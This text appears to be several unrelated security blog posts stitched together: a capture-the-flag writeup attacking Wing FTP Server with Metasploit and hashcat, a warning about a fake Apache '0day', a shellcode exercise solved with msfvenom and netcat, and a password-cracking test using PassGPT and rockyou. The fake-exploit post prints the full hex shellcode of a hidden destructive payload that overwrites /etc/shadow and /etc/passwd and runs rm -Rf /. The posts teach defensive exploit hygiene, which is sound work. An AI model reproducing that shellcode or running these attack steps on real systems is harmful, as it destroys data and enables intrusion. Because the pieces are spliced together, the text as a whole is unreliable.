As we can see, we got two open ports, 22 for ssh and 80 for an HTTP server. We can update our /etc/hosts file to visit the page directly.

By clicking on Client Portal, we are redirected to a login page that shows the version of Wing FTP Server.

As you can see, the version is 7.4.3 and a quick search on Exploit Database clearly shows that is vulnerable to Unauthenticated Remote Code Execution.

From there, a quick search on Metasploit shows that there is a module ready to use.

Quick set of the options (basically Remote Host, Virtual Host and Local Host).

And now let the magic begin.

An exploration of the different files and folders will lead us to the golden nuggets.

At this point, it’s time to unleash hashcat.

And let’s finish by collecting the user flag using the credentials we’ve just obtained.

I did not documented the privilege escalation steps, but once you’re in it shouldn’t be to difficult. Hope you’ve enjoyed my first writeup!

The subsequent step is pretty standard: you start looking if the identified service is affected by some known vulnerability. During your research you stumble into this:

https://pastebin.com/j70T9KHJ

Wow, a 0day exploit nonetheless! And targeting Apache 2.2.22 to Apache 2.4.2!

So you do what many people would do: compile it, launch it, and wait for a shell.

But… what is happening? Why is your computer not working anymore? What went wrong?

If we took the time to check the whole code of the “exploit”, we would have noticed a variable like this:

unsigned char shellcode[] = “\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68” “\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65” “\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73” “\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22” “\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20” “\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1” “\xcd\x80”;

A quick decoding from hex (CyberChef is perfect for this) reveals that this isn’t “magic exploit stuff”. It’s just a payload executing commands.

…and that translates to: say hello to your machine

That shellcode doesn’t aim to compromise the Apache target.

It aims to compromise you.

In practice, it translates to something along the lines of:

overwriting /etc/shadow overwriting /etc/passwd and then executing the classic point-of-no-return:

rm -Rf /

So yeah: say hello to your machine.

The real takeaway: exploit hygiene

Always take the time to read the code of a supposed exploit.

Every obfuscated piece is a potential red flag for something that will turn us from the attacker into the victim. Long hex strings, opaque byte arrays, suspicious encodings, and unexplained syscalls should immediately trigger caution.

At minimum:

1. Decode hex strings and check what they really contain.
2. Understand syscalls (if there’s shellcode, identify what syscall it triggers and with which arguments).
3. Verify what it actually does, not what the comments claim it does.
4. Test in isolated environments:
5. VM snapshots (so you can roll back instantly)
6. no shared folders / clipboard if possible
7. minimal privileges (avoid running as root unless you really know why)

And whenever possible, stick to more trusted sources instead of random pastes, such as:

https://www.exploit-db.com/ https://www.rapid7.com/db/

Because the most dangerous “exploit” isn’t the one that doesn’t work.

It’s the one that works exactly as intended — just not against the target you had in mind.

We are performing a pentest, and in a binary exploitation exercise, we reach the point where we have to run our shellcode. However, only a buffer space of 50 bytes is available to us. So, we have to optimize our assembly code to make it shellcode-ready and under 50-bytes to successfully run it on the vulnerable server.

Tips:

1. Refer to the “Syscalls” section to understand what the assembly code is doing.
2. Refer to the “Shellcoding Techniques” section to be able to optimize the assembly code. The above server simulates a vulnerable server that we can run our shellcodes on. Optimize ‘flag.s’ for shellcoding and get it under 50 bytes, then send the shellcode to get the flag. (Feel free to find/create a custom shellcode)

After spending two frustrating days attempting to optimize assembly code manually, I had an epiphany. The mindset of a hacker differs from that of a traditional programmer. Sometimes, the most efficient solution is choosing the right tool rather than writing code from scratch. I turned to MSFVenom, a powerful payload generation tool. Here’s the magic command:

msfvenom -p ‘linux/x64/exec’ CMD=’cat /flg.txt’ -a ‘x64’ –platform ‘linux’ -f ‘hex’

where: -p ‘linux/x64/exec’ - select the payload to execute commands CMD=’cat /flg.txt’ - specify the command to run -a ‘x64’ - define the system architecture –platform ‘linux’ - set the target OS -f ‘hex’ - choose the output format Result?

The final step was simple: use netcat to send the shellcode to the target machine. Boom! Flag obtained. Hacking is fundamentally about tool selection and strategic thinking, not just raw coding skills. Sometimes, the most elegant solution is the simplest one.

First step: thanks to a cool Python script designed by my good friend Zstaigah, we’ve generated 1000 fake profiles with relative passwords hashed with the SHA-512 algorithm. Then, using a tool called PassGPT we’ve obtained a first wordlist to try to crack the passwords. In this screenshot you can see the results:

So, basically just 12 passwords were discovered. Promising, but yet non satisfactory.

Second step: we’ve decided to include rockyou, a list of over 14 million plaintext passwords from the 2009 RockYou hack (more info on this here). But…

Another pass bites the dust.

Third step: at this point we’ve used a wordlist based on the personal information of the profiles and…

BANG! All passwords cracked. So, what can we learn from this?

1. Ensure your password are a robust mix of randomness and length
2. Passwords alone are not sufficient; always utilize Multi-Factor Authentication (MFA) to secure your accounts, especially for sensitive corporate information. Always remember: don’t be the weak link that could lead to significant security setback.